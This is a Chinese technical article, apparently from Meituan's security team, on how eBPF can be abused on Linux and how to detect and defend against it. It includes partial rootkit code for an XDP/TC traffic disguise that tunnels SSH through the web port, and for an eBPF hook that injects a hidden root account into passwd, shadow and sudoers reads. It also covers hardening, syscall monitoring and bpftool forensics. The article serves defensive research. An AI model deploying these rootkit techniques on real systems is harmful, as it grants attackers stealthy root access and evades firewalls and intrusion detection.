总第499篇
2022年 第016篇
近几年云原生领域飞速发展,eBPF技术成为各厂商首选技术,在网络编排、行为观测等领域四处开花。然而收益与风险并存,不久前爆出的Bvp47后门正是利用BPF技术惊人地在世界各地潜伏了近二十年。今日BPF已演进为eBPF,黑客会如何利用,造成什么危害?我们又该如何防范?
-
前言
-
现状分析
-
海外资料
-
国内资料
-
eBPF技术恶意利用的攻击原理
-
Linux网络层恶意利用
-
Linux系统运行时恶意利用
-
综述
-
检测防御
-
运行前
-
运行时
-
运行后
-
如何防御
-
工程实现
-
练手
-
类库选择
-
系统兼容性CO-RE
-
大型项目
-
总结
前言
现状分析
海外资料
国内资料
eBPF技术恶意利用的攻击原理
-
网络 -
监控 -
观测 -
跟踪&性能分析 -
安全
-
可以在Storage、Network等与内核交互之间; -
也可以在内核中的功能模块交互之间; -
又可以在内核态与用户态交互之间; -
更可以在用户态进程空间。
-
Linux网络层恶意利用 -
Linux系统运行时恶意利用
Linux网络层恶意利用
XDP/TC层修改TCP包
-
XDP的BPF_PROG_TYPE_XDP程序类型,可以丢弃、修改、重传来自ingress的流量,但无法对egress起作用。 -
TC的BPF_PROG_TYPE_SCHED_CLS除了拥有XDP“BPF_PROG_TYPE_XDP”的功能外,还可以对egress起作用。
实现流程
SEC("xdp/ingress")
int xdp_ingress(struct xdp_md *ctx) {
struct cursor c;
struct pkt_ctx_t pkt;
//判断是否为SSHD的协议,不是则直接放行
if (!(不是SSHD协议(&c))) {
return XDP_PASS;
}
//判断rootkit是否匹配,网卡信息与来源端口是否匹配
hack_mac[] = "读取bpf map配置。"
if(密钥不匹配) {
return XDP_PASS;
}
// 读取map,是否已经存在该client信息
struct netinfo client_key = {};
__builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN);
struct netinfo *client_value;
client_value = bpf_map_lookup_elem(&ingress_client, &client_key);
// 如果没找到伪装信息,则自己组装
if(!client_value) {
__builtin_memset(&client_value, 0, sizeof(client_value));
} else {
bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY);
}
// 伪装mac局域网mac信息
pkt.eth->h_source[0] = 0x00;
...
// 替换伪装ip来源 ,客户端端口不变
// 更改目标端口
pkt.tcp->dest = htons(FACK_PORT); //22
//计算TCP SUM layer 4
ipv4_csum(pkt.tcp, sizeof(struct tcphdr), &csum);
pkt.tcp->check = csum;
//写入已伪装的map,用于TC处理egress的原mac、IP信息还原。
return XDP_PASS;
}
视频演示
-
入侵者:cnxct-mt2,IP为172.16.71.1。 -
普通用户:ubuntu,IP为172.16.71.3。 -
被入侵服务器:vm-ubuntu,IP为172.16.71.4。开放nginx web 80端口;开放SSHD 22端口,并设定iptables规则只允许内网IP访问。
危害
-
iptables防火墙绕过:利用对外开放的80端口作为通信隧道; -
WebIDS绕过:流量到达服务器后,并不传递给Nginx; -
NIDS绕过:入侵者流量在局域网之间流传并无异常,只是无法解密; -
HIDS绕过:是否信任了防火墙,忽略了本机/局域网来源的SSHD登录。
Linux系统运行时恶意利用
实现流程
import "github.com/ehids/ebpfmanager"
// 通过elf的常量替换方式传递数据
func (e *MBPFContainerEscape) constantEditor() []manager.ConstantEditor {
var username = RandString(9)
var password = RandString(9)
var s = RandString(8)
salt := []byte(fmt.Sprintf("$6$%s", s))
// use salt to hash user-supplied password
c := sha512_crypt.New()
hash, err := c.Generate([]byte(password), salt)
var m = map[string]interface{}{}
res := make([]byte, PAYLOAD_LEN)
var payload = fmt.Sprintf("%s ALL=(ALL:ALL) NOPASSWD:ALL #", username)
copy(res, payload)
m["payload"] = res
m["payload_len"] = uint32(len(payload))
// 生成passwd字符串
var payload_passwd = fmt.Sprintf("%s:x:0:0:root:/root:/bin/bashn", username)
// 生成shadow字符串
var payload_shadow = fmt.Sprintf("%s:%s:18982:0:99999:7:::n", username, hash)
// eBPF RewriteContants
var editor = []manager.ConstantEditor{
{
Name: "payload",
Value: m["payload"],
FailOnMissing: true,
},
{
Name: "payload_len",
Value: m["payload_len"],
FailOnMissing: true,
},
}
return editor
}
func (this *MBPFContainerEscape) setupManagers() {
this.bpfManager = &manager.Manager{
Probes: []*manager.Probe{
{
Section: "tracepoint/syscalls/sys_enter_openat",
EbpfFuncName: "handle_openat_enter",
AttachToFuncName: "sys_enter_openat",
},
...
},
Maps: []*manager.Map{
{
Name: "events",
},
},
}
this.bpfManagerOptions = manager.Options{
...
// 填充 RewriteContants 对应map
ConstantEditors: this.constantEditor(),
}
}
const volatile int payload_len = 0;
...
const volatile char payload_shadow[MAX_PAYLOAD_LEN];
SEC("tracepoint/syscalls/sys_exit_read")
int handle_read_exit(struct trace_event_raw_sys_exit *ctx)
{
// 判断是否为rootkit行为,是否需要加载payload
...
long int read_size = ctx->ret;
// 判断原buff长度是否小于payload
if (read_size < payload_len) {
return 0;
}
// 判断文件类型,匹配追加相应payload
switch (pbuff_addr->file_type)
{
case FILE_TYPE_PASSWD:
// 覆盖payload到buf,不足部分使用原buff内容
{
bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (void*)buff_addr);
for (unsigned int i = 0; i < MAX_PAYLOAD_LEN; i++) {
if (i >= payload_passwd_len) {
local_buff[i] = ' ';
}
else {
local_buff[i] = payload_passwd[i];
}
}
}
break;
case FILE_TYPE_SHADOW:
// 覆盖 shadow文件
...
break;
case FILE_TYPE_SUDOERS:
//覆盖sudoers
...
break;
default:
return 0;
break;
}
// 将payload内存写入到buffer
ret = bpf_probe_write_user((void*)buff_addr, local_buff, MAX_PAYLOAD_LEN);
// 发送事件到用户态
return 0;
}
视频演示
严重危害
综述
检测防御
-
运行前 -
运行时 -
运行后
运行前
环境限制
seccomp限制
内核编译参数限制
非特权用户指令
//https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240
if (type != BPF_PROG_TYPE_SOCKET_FILTER &&
type != BPF_PROG_TYPE_CGROUP_SKB &&
!bpf_capable())
return -EPERM;
sysctl kernel.unprivileged_bpf_disabled=1
来修改配置。配置含义见Documentation for /proc/sys/kernel/。-
值为0表示允许非特权用户调用bpf; -
值为1表示禁止非特权用户调用bpf且该值不可再修改,只能重启后修改; -
值为2表示禁止非特权用户调用bpf,可以再次修改为0或1。
特征检查
tcipbpftool
等)加载的话,仍面临威胁。比如:ip link set dev ens33 xdp obj xdp-example_pass.o
。运行检查
运行时
监控
SEC("tracepoint/syscalls/sys_enter_bpf")
int tracepoint_sys_enter_bpf(struct syscall_bpf_args *args) {
struct bpf_context_t *bpf_context = make_event();
if (!bpf_context)
return 0;
bpf_context->cmd = args->cmd;
get_common_proc(&bpf_context->procinfo);
send_event(args, bpf_context);
return 0;
}
审计&筛查
-
MAP的创建BPF_MAP_CREATE -
PROG加载BPF_PROG_LOAD -
BPF_OBJ_PIN -
BPF_PROG_ATTACH -
BPF_BTF_LOAD -
BPF_MAP_UPDATE_BATCH
运行后
文件描述符与引用计数器
溯源
-
k[ret]probe -
u[ret]probe -
tracepoint -
raw_tracepoint -
perf_event -
socket filters -
so_reuseport
bpftool prog show
,以及bpftool prog help
查看更多参数。bpftool map show
,以及bpftool map help
可以查看更多参数。bpflist-bpfcc -vv
命令可以看到当前服务器运行的“部分”BPF程序列表。以测试环境为例:root@vmubuntu:/home/cfc4n/project/xdp## bpflist-bpfcc -vv
open kprobes:
open uprobes:
PID COMM TYPE COUNT
1 systemd prog 8
10444 ehids map 4
10444 ehids prog 5
ip link set dev ens33 xdp obj xdp-example_pass.o
命令,在这里却没有显示出来。意味着这个命令输出的结果并不是所有bpf程序、map的情况。-
XDP -
TC -
LWT -
CGROUP
ip link set dev ens33 xdp obj xdp-example_pass.o
为例。ip命令的参数中包含bpf字节码文件名,ip进程打开.o字节码的FD,通过NETLINK发IFLA_XDP类型消息(子类型IFLA_XDP_FD)给内核,内核调用dev_change_xdp_fd函数,由网卡接管FD,引用计数器递增,用户空间的ip进程退出后,BPF程序依旧工作。内核源码参见:elixir.bootlin.com/linux。17:53:22.553708 sendmsg(3,
{
msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000},
msg_namelen=12,
msg_iov=[
{
iov_base={
{nlmsg_len=52, nlmsg_type=RTM_NEWLINK, nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0},
{ifi_family=AF_UNSPEC, ifi_type=ARPHRD_NETROM, ifi_index=if_nametoindex("ens33"), ifi_flags=0, ifi_change=0},
{
{nla_len=20, nla_type=IFLA_XDP},
[
{{nla_len=8, nla_type=IFLA_XDP_FD}, 6},
{{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
]
}
},
iov_len=52
}
],
msg_iovlen=1,
msg_controllen=0,
msg_flags=0
}, 0) = 52
17:55:16.306843 sendmsg(3,
{
...
{nla_len=20, nla_type=IFLA_XDP},
[
{{nla_len=8, nla_type=IFLA_XDP_FD}, -1},
{{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
] }
...
}, 0) = 52
-
ip link show
-
tc filter show dev [网卡名] [ingress|egress]
bpftool net show dev ens33 -p
命令可以用于查看网络相关的eBPF hook点。mount -t bpf
来查看系统所有挂在的文件类型,是否包含BPFFS类型。取证
root@vmubuntu:/home/cfc4n# bpftool prog help
bpftool prog dump xlated PROG [{ file FILE | opcodes | visual | linum }]
bpftool prog dump jited PROG [{ file FILE | opcodes | linum }]
root@vmubuntu:/home/cfc4n# bpftool map dump id 20
[{
"value": {
".rodata": [{
"target_ppid": 0
},{
"uid": 0
},{
"payload_len": 38
...
如何防御
LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size)
{
return -EPERM;
}
工程实现
练手
类库选择
系统兼容性CO-RE
大型项目
总结
作者简介
参考文献
-
Creating and Countering the Next Generation of Linux Rootkits -
DEFCON 29 - eBPF, I thought we were friends -
eBPF的各种技术应用PDF集合 -
Offensive BPF: Malicious bpftrace -
Bad BPF - Warping reality using eBPF -
Lifetime of BPF objects -
BPF程序(BPF Prog)类型详解:使用场景、函数签名、执行位置及程序示例 -
Features of bpftool: the thread of tips and examples to work with eBPF objects -
Reverse Engineering Ebpfkit Rootkit With BlackBerry's Enhanced IDA Processor Tool -
Creating and countering the next generation of Linux rootkits using eBPF -
eBPF Syscall -
Cilium eBPF实现机制源码分析 -
ebpfkit is a rootkit powered by eBPF
- 安全研发专家(主机安全方向)
- 安全研发专家(RASP方向)
具体描述参见:美团信息安全部2022年招聘岗位 。欢迎大家加入我们,跟我们一起构筑安全屏障,守护大家的安全。
阅读更多
原文始发于微信公众号(美团技术团队):Linux中基于eBPF的恶意利用与检测机制
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论